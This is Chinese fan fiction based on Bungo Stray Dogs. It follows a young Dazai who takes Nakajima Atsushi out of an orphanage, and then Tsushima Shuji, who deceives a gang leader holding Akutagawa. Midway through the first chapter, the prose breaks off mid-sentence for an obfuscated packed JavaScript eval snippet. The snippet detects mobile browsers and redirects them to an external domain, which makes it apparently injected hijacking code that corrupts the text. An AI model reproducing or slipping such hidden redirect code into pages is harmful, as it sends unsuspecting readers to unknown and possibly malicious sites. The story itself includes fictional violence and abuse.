他早就不奢想,他只是错愕地看向那个浑身都被绷带包围的人,脸颊似乎仍存留过往的疼痛,他鼓起些许勇气,小声道:“……真的是我吗?这里有很多比我更好的孩子,还有......你应该不是成年人吧。” 要收养孤儿是有年龄要求的。 “啊,真是很敦君式的回答呢。” 浑身都被绷带包裹的对方似乎被这回答逗笑一般,中岛敦为对方的表现略带些许疑惑与不安,他紧张地看向对方。对方把那本书随手放在窗台上,带着些笑意摆了摆手,似乎有些心不在焉地拖着调子:“没关系哦,只是选择了你而已,同时也会安排人资助这个孤儿院的。” “不过不是成年人这一点确实是个要害呢——但是没关系的,我姑且也算官方人员嘛。” 中岛敦困惑地眨眨眼:“咦?” 无法理解对方的意思,中岛敦几番张嘴再闭嘴,白发少年小心翼翼地组织语言,没有对对方的话做出回应,似乎回想起来什么,带着些不抱期待的幻想,官方人员的话......肯定可以做到吧:“这里时常有虎出没,你们能不能……?” “不可以。” 似乎对他的话早有预料,没有等到他的话语讲述完毕,那个人立刻便给予了一个干脆的回答。 “哎?” “敦君,一直要逃离可是不好的行径。” 中岛敦错愕地捏着门把手,对方似乎叹了口气,又仿佛错觉一般,那只没有被绷带缠绕的鸢色眼睛扫过他,却只是开口:“先放开你手中的门把手,走进来吧,敦君。” 下意识遵循了对方的话语,走进了房间内,直到门关闭,才反应过来对方果断的回绝意味。所有想说出的话都被回绝堵住,那也是没办法,那也是应该的,被回绝很正常,他......他只是下意识有些低落。 那种先前所提出的像是被收养一般的话也是他的错觉吧,或许只是调笑,没错,肯定是那样,他早就不该继续奢想。 一直注视着中岛敦的那个人似乎敏锐觉察了什么,窗外的月光洒在他的身上,某名显得那个人沉沉而郁郁,哪怕语气欢快,却像带上某种教导意味:“要学会思考哦,敦君。那么为什么没有在之前思考呢?原来如此,是因为痛苦吧。倘若弄清那些事,便会觉察自己才是带来痛苦的人,于是连憎恨都无法透彻,负重的感情总会让人难熬万分。这么想来,我或许拿的是反派剧本嘛。” 中岛敦困惑地注视着对方。 那些话是什么意思? “唔,虽然很想把这份任务安排给别人,如果是那个人的话,虽然解释方式很有趣,但姑且不太合适哎。那么,敦君,接下来的事情你要听好哦:这世界上,有部分人是有特殊能力的异能者。” ......哎? 似乎被击中般,中岛敦惊诧地注视着那个人,那个人鸢色的那只眼睛看着他,很难说清其中蕴含了什么。中岛敦艰难地扯开嘴角:“哈......哈......这是什么玩笑吗?不不不,异能者那种东西,不会存在的吧,现实不是童话吧。” 被对方笃定的,不像玩笑的话语击中,中岛敦的声音由犹豫的惊愕逐渐转向轻微,小声,像是自言自语的下意识否认。 “你已经信了一点吧。” 一眼看穿了般,黑发鸢眼的人轻飘飘地如此断定。 “虽然敦君你呢,会对此困惑难解,但是这种事情就是真的存在也确实很让人困扰呢——你要说的是虎,是一直纠缠着你,对你百般折磨的虎,对吧。” ...... “先不要急着逃避,心中的病如果久存,会始终无法抬起头的吧。” ...... 中岛敦嗫嚅着,嘴唇颤抖,却始终难以说出半个字。 他在说什么? 他要说什么? 他会说什么? “......你要说什么?” 小声的,像是强撑着挤出的声音,掺杂恐惧的,带着哀求的。 中岛敦察觉到那个人的眼神停留在他身上很久,那个人声音平静,像是没有任何波动般,说出的话却让他如坠冰窟:“敦君,你与虎是一体的啊。” 惶恐,惊诧,错愕。 害怕,害怕,害怕。 虎的阴影如影随形。 虎的罪过难辞其咎。 过呼吸一般,中岛敦几乎无法控制本能地颤抖,他尽力呼吸着,呼吸着,恍惚中弯下腰,手似乎在变换,身躯似乎在变换,腿似乎在变换,视线似乎在变换,浑身蜕变般长出毛发,他的意识逐渐沉睡,只是惊恐无法避免,他见证自己沦为为一只野兽,一个梦魇。 他彻底在惊恐中失去意识。 啊。 左眼缠着绷带的少年平静地注视着因过于激动无法控制情况下而出现的白虎,真是熟悉的开场,进度是不是过快了,没办法,时间越拖越长说不定会来不及嘛。他没有任何躲避行为,只是漫不经心堪称平静地注视着袭来的虎,伸出手,在白虎扑来的那刻恰好摁在虎的头顶。 某种异能力的作用下,变化为虎的异能力被化解,白发少年倒下,以一种微妙的角度恰好倒在床上。他若有所思地注视着倒在床上的白发少年。 完美的角度,这次倒是不用麻烦国木田君了呢!话说国木田君现在还在做国中老师吧?啊啊,真是不错的工作嘛。 他心不在焉地露出一个笑容,重新坐回窗台上,靠着窗户拿起一旁的《完全自杀手册》,借着月光,饶有趣味钻研起来。 ** 中岛敦猛地睁开眼,掀开盖在身上的薄被,太阳已经微微升起,月亮已经离开,昏睡前的种种画面在脑内回放。他喉咙干涸出嗬嗬的声音,十二岁的他,本能地开始畏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505857|170473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惧自己......倘若真的是自己,那那个人是不是...? 想到这里,他立刻扭头扫视遍整个房间,在目睹对方仍然坐在窗台的身影后放松一口气,对方似乎困倦般,仅露出的那只眼睛微闭,手中拿着的那本书全名居然是完全自杀手册,好怪异的名字。 但是......太好了,没有杀人。 哪怕放松一口气,却仍然无法彻底地松懈。他垂头,看向自己的双手,粗糙的,几乎没有办法改善的,就是这双手吗......?我真的是虎吗?是我毁了所有吗? 我该被憎恨吗? 我该被憎恨吧。 那么我所遭受的那些事,那些疼痛,那些无法理解的虐待,就全部是理所..... “不是哦,不能那么想哦。” 中岛敦小心翼翼地看向声音的来源。不知何时醒来的年长他几岁的少年看向他,眼内似乎带着某种令人信服的感情,他不知不觉镇静了些许,但那些附骨的惆怅与迷惘难以抛下。那个人的右眼内什么情感都没有镶嵌,声音平静:“敦君,没人该被那样对待。” “但是我做了很多错事,我在那种状态下数次,数次毁了这里的一切!” 几乎颤抖着,中岛敦的眼底难掩盖的涌现一种痛苦。左眼缠着绷带的少年走来,把手放在他的头顶,摸了摸,摸完后并未收起,仍放在他的头顶,像借此给了中岛敦一个支撑,眼内似乎带着某种情感,却像错觉,只是声音镇定:“但是一切为时尚早,不是么?” “现在发生的一切都是可挽回的。你没有杀害任何人,你没有让任何人真实地受到致命的伤害,即便是毁掉作物,你也没有伤害别人,如果你始终无法释怀,那么在能够控制自己之后,你可以回到这里重新帮助这里的孩子。现在一切为时尚早,那些曾加诸在你身上的,毋庸置疑是一种虐待,即便是有那种理由——但是敦君,你是有不原谅的理由的。” “当然,一切都该由你自己决定。现在无法作出决定的话,就等到以后。” “现在,要跟我离开吗?” 中岛敦张了张嘴,注视着对方,眼内痛苦与种种情感交织,泪水几乎上涌,十二岁的少年小声道:“请带我走吧,请让我离开吧。” “好。” 左眼缠着绷带,鸢色眼睛的十六岁少年如此平静道。 跟随着对方与院长擦肩而过的瞬间,中岛敦捏紧了自己的手掌,即便是被那般劝解,但那些苦痛,那些来由,始终有一根刺卡在他的咽喉,让恨与痛交织,他质问不出口,呐喊不出口,甚至本能的畏缩还反应在颤抖的身躯上。 院长没有对他说什么。 他也没有对院长说什么。 两个人像两个素不相识的人,谁也没为自己辩解,谁也没为对方送别。 直至坐在那个黑发鸢眼的少年准备的车中,与司机的挡板升起时,中岛敦整个人松垮下来,把头埋在膝盖上,他本以为自己会落泪,本以为自己会绝望,本以为自己会在成年后才被孤儿院抛弃,但他逃离了。 他迷惘地想。 他逃离了院长,逃离了孤儿院,逃离了虎的阴影……吗? 那接下来呢? 他看向那个将他带出来的少年,张了张嘴,声音很小:“那个……接下来要去哪里?” 对方一直透露着某种神秘的脸上浮现出一种微小的,但格外真切的笑,这前所未见,以至于中岛敦竟觉得对方像是为接下来提到的地点发自内心般感到有趣:“武装调查事务所。” 中岛敦困惑地歪了歪头,十二年的孤儿院生涯让他与外界有了明显的隔阂,但是对方那种货真价实的感情渲染到了他,他放松了下来,但还是带着些许拘谨与其他:“您……也会在那里吗,那一定是个很好的地点吧。” “的确是个很好的地方没错。” “不过我不在那里工作哦。” “嗯……哎?……” 中岛敦错愕地看向对方,这种时候对方脸上又带上一种神秘的感觉,说出的话让中岛敦有种模棱的无法理解感:“因为跟着我并不是一件简单的事,会很痛苦哦。敦君,比起我身边,还是那里更适合你了,我会举荐你去到那里哦。” 中岛敦几乎哑然,十二岁的少年略带些失落的默认了对方的安排,小声道:“那个……您的名字一直没有告诉我。” “唔,这个啊——暂时是个秘密呢,到时候如果有人问是谁举荐你到武装调查事务所的话,就说是一个来自异能特务科的好人吧。” 车的行驶渐渐停止,终点站到了,中岛敦几乎是第一次离开孤儿院来到如此远的地方。 即便是几番做心理准备,在临下门的那刻还是有种不自然升起的胆怯与懦弱,他嗫嚅着,回头看向对方,一种被抛弃感悄无声息的升起,随后,对方明显的叹了口气,按在他的头顶,压下了几乎快要冒出的虎形态。 “这不是抛弃哦,敦君,非要说的话,那就是一堂课的必要了吧。你的人生还未开启,前半生始终围绕的是逃离这个议题,那么下一堂课,就试试接纳吧。” 接纳……? 中岛敦鼓起些许勇气,拉开车门,关上车门,窗户从内部被黑发鸢眼的对方摇下,中岛敦恍惚中竟觉对方的眼内带着某种满意,再一看去只见对方确实带着一种幅度并不大的微笑,没被包裹的那只眼注视着他,像是一种平静的告别。 没来由的,中岛敦冷静下来,他有些小心翼翼地按着对方之前指示过的方向走去,到达对方所描述过的地点后,深吸一口气,敲门…… 没能做到。 他再次深吸一口气。 ……还是没能做到。 再次…… “你是来找人的吗?” 啊啊啊! 从背后突然冒出的声音吓得中岛敦猛地撞在门上,他回头,一个红发的青年正在平静地注视着他,他组织几番言语,嗫嚅几番,最终小声道:“是有人举荐我来到这里的。” “举荐?” 红发的青年的语气似乎是疑惑的,但表情却是平静的。 中岛敦没来由被对方的平静表情放松些许,即便那种本能的胆怯还在,为自己所要说出的话语后知后觉一种不合适,他声音大不起来,带了些许飘忽,突兀想到什么,他看向走廊的窗户,试图指向那辆车的方向:“……他说他是一个来自异能特务科的好人,就在那……” 中岛敦错愕地睁大眼,那个方向空空如也,仿佛对方根本没在过一样。 红发的青年顺着中岛敦所指的方向看去,目睹那里的空荡后表情依然平静:“那里从我回来的时候便没有任何人了。” 眼见少年逐渐不安惶恐起来,红发青年思考了一下,向前一步,打开了武装调查事务所的门:“先进来吧,既然是异能特务科的好人君安排的,那便没什么办法了呢。不过加入是需要测试的,可以接受吗?” “啊,好。” 原来有打了招呼啊。 中岛敦小声回答道,跟着红发青年走进了武装调查事务所。 14. 有趣的愚昧 病床上的青年仍在昏迷,处于不清醒状态下的眉眼自带一种蹙起的幅度,那双虚无冰冷的宛如兽类的眼没有睁开。 几乎所有举起枪的人都松了口气,港口黑手党的走狗在清醒状态下从来不是什么好相与的角色,那种恐怖的异能会在瞬息之间取走所有人的性命。 为了保险起见,领头人举起枪,警惕地用枪膛将躺在病床上的青年的脸戳到另一侧,在发觉青年是真实的昏迷后收回枪。 那么那股动静是谁发出的呢? 领头人的视线偏转,冰冷的审视由病床上的青年转移到角落蜷缩着的少年身上。 少年的半张稚嫩的脸躲藏在蜷起的膝盖后,露出的鸢色双眼内带着真切的惊恐与茫然,嗤,这小鬼被死亡吓透了吧,倘若这是刻意表演出的,那演技未免也太好了。 肯定是慌忙的想要逃跑结果却弄出一系列动静的蠢货吧。 一番斟酌之后,领头人摆摆手,示意其他人离开这里,在门隔绝了内外之后。 他走近蜷缩着惶恐的小鬼,用手揪着对方蓬松的黑发提起对方,把对方整张脸露出来,他语气阴沉,枪口对准这小鬼的头:“动静是你整出来的吧,小鬼。” 小鬼的视线停留在枪口几秒,嗫嚅两下,发出的声音轻微:“我……我太害怕了,对不起,先生。” 哼,他就知道,果然。 领头人几乎要为自己的聪慧而鼓掌,他带着恶意把抓着对方头发的手加了几分气力,语气中带着明显的威胁:“说吧,你所知道的情报。” 呜啊,上钩了。 津岛修治在伪装这一行上先天具有一种本领,他堪称漫不经心扫过对准自己的枪口,被紧紧扯起的头发拽得头皮发痛,他低垂眉眼,厌倦地藏起那种与少年无关的种种情感,堪称专业地表现一种不达深处的惊恐与无助,像是切割了自己一般,他任由着自己语气带上几分惧怕地描述一些情报:“港口黑手党的现任首领姓氏为森,有一个很宠爱的女孩子,但那个女孩子与他应当没有亲属关系。” 到底什么关系,因为接触不多还没有得出结论,总感觉森先生可是很戒备他呢。 领头人挑了挑眉,几乎流露一种暧昧的幅度,提着津岛修治头发的手微微放松一些:“还真是有趣的情报。” “中原干部之前是「羊」之王,如果「羊」的成员还有的话,抓住「羊」的成员威胁对方说不定有定效用。” 一些老旧的情报,组合起来姑且也是这么想的,那家伙看起来不像是会抛弃同伴的类型,不过旧日的组织是否还会让对方紧张万分呢?还是说由于已经是过去式所以并不会太过在意?不管怎么说,情感充沛的家伙未免太过恶心了吧。 “「羊」?跟伦敦的「迷途之羊」有什么关系?” 领头人皱了皱眉,他所负责的业务大部分都在海外,对于伦敦的部分组织略有沟通,其中与「羊」有关的第一时间让他想到那个名词。 ....啊,这可真是意外之喜,说不定存在某种关联呢?也可能是单纯巧合。 不过不是情报所需要的关键内容。提及伦敦的话,说明这个人的业务涉及海外部分,森先生所要的内部情报,唔,没有明确要求的话,也只能猜想是这一部分了吧,姑且先把话题引向那方面,那么开始杜撰一部分对方会感兴趣的点吧。 一个自信的同时带着些许谨慎,但是傲慢愚蠢到无药可救地步的家伙。 津岛修治垂下眼,继续一种伪装姿态,声音轻而小,犹如真实的畏惧,而双眼如同枯死般没带任何感情:“港口黑手党......内部没有收获你们来袭的情报,只是有人提及过你们的情报来源或许是海外,如果不是原本就有的资源派系那么便是与其他组织的合作。” “我们可是与‘组合’的人建立了合作关系。” 领头人露出一种带着嗤笑的傲慢神情,如同炫耀一般,像是随口,只是看向津岛修治的眼神内无可救药的内带一种杀意,以炫耀行径所揭露的事实只有说给死人才更能保证情报不会外流。原来如此,那么应该表现出什么呢?那么还是基调为惊恐,再添加一种错愕吧。 “组合”啊,从来没听说过嘛,还不知道是海外组织还是本土组织,所以不能贸然地提及呢,要提及也只能从一种宽泛的角度。如此思考着,津岛修治以一种惊恐与错愕交织的语气表演着:“是‘组合’,你们居然能和他们搭上线。” “要怪就怪你们那个走狗太过没用吧。‘组合’取消了悬赏之后,可是找上了我们表示愿意提供资助,只要能给港口黑手党带来麻烦,为此,本就与你们有着深仇大恨的我们自然要让你们付出些代价。” ...扯着头发的手力气加重了啊。 走狗是指病床上那位芥川君了吧。 那么接下来要想知道更多,或许应该加重些语气,挑一些对方会过激的部分了,人在愤怒状态下往往会不经意流露更多。津岛修治不被注意地伸展了一下被松松束缚住,为避免被发现长时间保持一个动作的手。津岛修治心不在焉扫视遍周遭,视线在病床上的青年身上停留一瞬。随后他道:“你们确定这样子不会惹怒港口黑手党吗......我是说特地绑架芥川先生这种事。” “这不算最好的选择吧,这件事势必会引来港口黑手党的追究,而在本土的话港口黑手党的势力堪称一手遮天,哪怕不在横滨,只要他们想也会......” 打断津岛修治话语的是猛地落到他右脸上的巴掌,他整个人几乎被这种力道而扇动,微微侧过身,话语瞬间被卡住。 虽然早有预料,但是...... 津岛修治顺着力道维持侧着头微微鼓动了一下被打伤的右脸,口腔内弥漫一种血腥味。讨厌的工伤。真是的,疼痛这种东西,就是让人讨厌得很嘛。他神色恹恹阴沉下来,在对方看不到的角度撇撇嘴,又因为不小心调动伤处,抽了口气。 “你这小鬼,真是懂怎么惹怒我啊!”领头人冷笑道,眼内的杀意凝成实质:“告诉你也无妨,‘组合’可是给予我们一个丰厚的报酬,他们会为我们回到美国稳定势力做出不小贡献。至于港口黑手党?你们的手还伸不到那么远。” 被明确的归类为港口黑手党的人了啊。 “我什么时候让你停下了?接着说你所知道的情报。” 看样子,“组合”所属的应该是海外,而这个组织残存的大部分势力肯定在美国了,顺延这方向查下去应该能一网打尽,不过估计伦敦方面估计还有一部分微小的势力。那个名为“组合”的组织,明显来者不善啊。 值得敌人暗中布下这种局。森先生真是惹了不少人,好麻烦嘛,难怪那家伙会跳槽啊。 津岛修治微不可闻般无所谓地垂下眼,顶着泛起红肿的脸,随口杜撰道:“在港口黑手党第六层存在一个武器库,武器库密码是767369。” “作为一个小鬼而言,你知道的似乎格外多啊。” 似乎觉察什么,领头人的眼内渐升起一种不耐烦,夹杂一种明显的怀疑,隐隐的杀意袭来。 所以说还是愚蠢的人最麻烦了,一面利用自己更全面的角度从他人身上获取廉价的快乐,却又懒得动脑,只是从嘲讽中自得。随后呢,又突然察觉自己的自傲,敷衍般为自己的自傲找理由,要把自傲合理化,又要彰显自己的聪慧,把一开始就存在的用来自得的疑点提出。 津岛修治堪称漠然地抬眼,若有所思般没有任何回答。说起来,时间应该差不多了吧 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之前,一种白色的布带,却犹如最尖锐的利刃,死死地,瞬息穿透他的心脏。他的身躯倒转,最后的力气用来按下扳机,子弹却只是擦过那小鬼的脸,在心不甘情不愿,仰面倒地之时,他看到了布刃的来源:躺在病床上的青年,不知何时,睁开了眼,那双无机质般残酷的眼,越过他的身躯死死钉在远处的那小鬼身上。 ......是这种异能啊。 看样子是强撑着一口气才发动异能力的吧。 擦过津岛修治脸颊的子弹仅仅留下一条血印,与之前的红肿处于同一方向,只相隔几厘米,他并没有太过在意倒下的领头人,目光从尸体上收回。 那种由布构成的利刃,猛地扭转方向,尖锐地朝着津岛修治而刺来,他饶有兴趣,眼睛几乎没怎么眨地注视着来袭的利刃,为确保自己在攻击范围内,他甚至漫不经心向前两步,同时甩开了一直缠在手腕上的绳索。 不错的攻击力。 只是…… 那种比刀刃更尖锐的布,在触碰到他的那刻便被人间失格所抵消,重回一种柔软姿态。看来还是布料啊,他收回视线,站起身,不在意地用病号服的衣袖擦了把流着血的右脸,朝着门的方向走去。 门外的战斗似乎由激烈趋近于平静,看来胜者已经决出,不出意外的话,港口黑手党的胜局是注定的。 在走向门的方向之际。 躺在病床上,刚刚苏醒的青年——芥川龙之介死死地注视着他,倘若能移动的话,这家伙肯定会抓住他的衣领也说不准,津岛修治平静地挪开视线,一个停留都没有。青年的声音冷冽如淬过冰,即便没什么气力,即便说出的话带着沙哑,但那种杀意与固执明显:“你是谁?” 津岛修治的脚步没有任何停顿,一种干脆利落的无视姿态。 芥川龙之介未恢复的声音提高些许,那种不停歇的固执使得他死死攥住病床的围栏,几乎要借力利用这副未恢复的身躯坐起身来:“你还没有回答我。” 麻烦。 真是麻烦。 这种性格啊。 真用那种伤势坐起来说不定会让旧伤大出血吧?死亡概率会增加不少吧,真是无趣的死法,唔啊。 无趣的固执的人。 啊啊,那家伙在教导这种类型的家伙时会是什么态度?这种类型的人最麻烦了吧。 津岛修治的脚步顿住,面上浮现一种敷衍般笑意,审视般注视那个固执的青年,眼神却堪称冰冷。那家伙的弟子,看起来将将二十岁,一副麻烦的派头—— “你的异能不错,不用再挣扎了,还会再见面的。”